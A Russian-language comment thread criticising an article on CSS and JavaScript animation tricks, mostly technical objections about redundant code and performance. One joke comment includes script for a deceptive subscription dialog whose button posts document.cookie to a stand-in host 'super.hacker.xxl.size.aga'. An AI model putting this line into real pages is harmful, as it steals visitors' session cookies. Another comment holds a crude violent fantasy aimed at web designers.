Трюки CSS и JavaScript, которые вдохнут жизнь в ваш статический сайт

[sfi0zy]

Автор статьи — Python developer, и, видимо в силу недостатка опыта во фронтенде, он говорит странные вещи местами. Если примеры инструментов выглядят просто как «смотрите, какую прикольную штуку я нашел», то примеры кода новичкам не стоит воспринимать слишком буквально.

1. Первая штука делается короче, на CSS, на :hover. Зачем там скрипты, да еще и изменяющие CSS напрямую — загадка.
2. Префиксы руками ставить не нужно. В 2020 году есть автопрефиксер, который сам расставит, что нужно, и уберет, что не нужно.
3. Изменение размера шрифта — ок, прикольная идея, только нужно сохранять высоту строки и изменять межбуквенные интервалы, а то все будет дергаться, как у автора на сайте.
4. Список «Вот полный список значений, которые может принимать каждое из этих свойств» вообще ни разу не полный.
5. «полезно разделять запятыми значения внутри @keyframes» — ой, вот не надо этого. Читаемость этот подход в конечном счете портит, а пользы никакой.

[Carduelis]

Поддерживаю, если читатель — новичок — он может подумать, что так и надо, best practice и т.д.

Статья — набор рандомных советов, сделанных очень костыльно.

Если вы ищете что-то для вдохновления, то лучше почитать про анимации Material UI.
https://material.io/design/motion/understanding-motion.html#principles
Там и примеры кода можно найти https://material.io/develop/web/components/animation

[vmkazakoff]

Дополню про 1: а ещё эти скрипты зачем-то в одном месте меняют rotateZ с нуля на ноль. Да ещё и меняет transition элементам по отдельности, вместо всей .card, но при этом при выводе мышки таки и .card`y меняет зачем-то обратно с нуля на ноль. Ну и сверху посыпано разными vs, vh, rem, px… что в принципе не критично, но в данном случае не обоснованно.

В общем после первого же примера показалось что это примерно 5-6 слепленных ответов со стаковерфлоу. Не надо так. А главное — сайт так и не стал "динамическим" (

[noodles]

Автор статьи — Python developer, и, видимо в силу недостатка опыта во фронтенде, он говорит странные вещи местами.

К сожалению так почти всегда… самый плохой клиентский код — это код, который написал бекендер. Особенно синьйор, который обзывает фронтенд разработчиков макаками и формошлёпами.

[rudinandrey]

вот не понимаю, почему все называют жизнью анимацию на странице, но мало кто думает про производительность, про скорость. Главное это сделать что-то на сайте, получить информацию, заказать товар, и более важно, чтобы страница быстрее загрузилась, чтобы не ждать вот всех этих библиотек и анимаций.

[CoolCmd]

Код отобразит элемент с классом .htmlclass с задержкой 400мс при прокрутке страницы.

зачем?

[Ashot]

Ну обычно одно из двух:

1. Затем, что "ну прикольно же"
2. Затем, что дезигнеры родили дезигн с десятком бесполезных свистоперделок

[Denai]

Пять простых рецептов как нормальный сайт сделать невыносимым.

[pOmelchenko]

Вроде предновогодняя статья и аватарка автора украшена в тему, а снежинок на сайт не завезли.

[SquareRootOfZero]

Я не скажу за всё остальное, но веб-дезигнеров, делающих всякую ненужную хрень со скроллом страницы, хорошо бы топить в большой, глубокой-глубокой цистерне с горячим дерьмом. А чтобы они как следует осознали, за что им это — сверху спускать верёвку, по которой, в нормальных условиях, можно было бы вылезти из всего этого дерьма, но специально для них то верёвка разматываться начинает быстрее, чем они лезут, то сама лебёдка, на которую верёвка намотана, резко опускается вниз на метр или два, то уровень дерьма в произвольный момент времени резко прибывает…

[Padreramnt1]

есть предложение по лучше:

// declearing variables
const rope = document.querySelector('.rope')

// troll the designers v1
rope.addEventListener('mouseover', (e) => {
    const { height } = rope.getBoundingClientRect()
    rope.style.setProperty('position', 'fixed')
    rope.style.setProperty('top', (e.pageY - height + 1 /* =D */) + 'px')
})

// troll the designers v2
rope.addEventListener('mousedown', (e) => {
    e.preventDefault()
    e.stopPropagation()
    e.stopImmediatePropagation()
    const dialog = document.createElementNS('http://www.w3.org/1999/xhtml', 'div')
    dialog.style.setProperty('position', 'fixed')
    dialog.style.setProperty('top', '0')
    dialog.style.setProperty('left', '0')
    dialog.style.setProperty('right', '0')
    dialog.style.setProperty('bottom', '0')
    dialog.style.setProperty('background', 'rgba(0,0,0,.9)')
    const content = document.createElementNS('http://www.w3.org/1999/xhtml', 'form')
    content.style.setProperty('position', 'relative')
    content.style.setProperty('top', '20%')
    content.style.setProperty('width', '80%')
    content.style.setProperty('max-width', '650px')
    content.style.setProperty('margin', '0 auto')
    content.style.setProperty('padding', '20px')
    content.textContent = 'Подпишитесь на наши уведомления, чтобы быть в курсе всех ваших бултыханий'
    const _ = document.createElementNS('http://www.w3.org/1999/xhtml', 'input')
    _.type = 'checkbox'
    _.checked = true
    _.value = 'е***ь я лох'
    _.hidden = true
    content.append(_)
    const ok = document.createElementNS('http://www.w3.org/1999/xhtml', 'button')
    ok.addEventListener('click', () => {
        fetch('//super.hacker.xxl.size.aga', {
            method: 'POST',
            body: document.cookie,
        })
        alert('Вы совершили оплошность, сударь!')
    })
    ok.textContent = 'Конечно!'
    ok.style.setProperty('margin-top', '10px')
    ok.style.setProperty('margin-left', 'auto')
    ok.style.setProperty('margin-right', '0')
    content.append(ok)
})

/* troll the designers v3 */

.rope {
    pointer-events: 'none';
}

[u007]

Теперь, когда вы наведёте указатель на буквы, вы увидите, как они меняют размер и цвет… я тоже применил это к своей контактной форме

Вот пользователи-то спасибо скажут!!!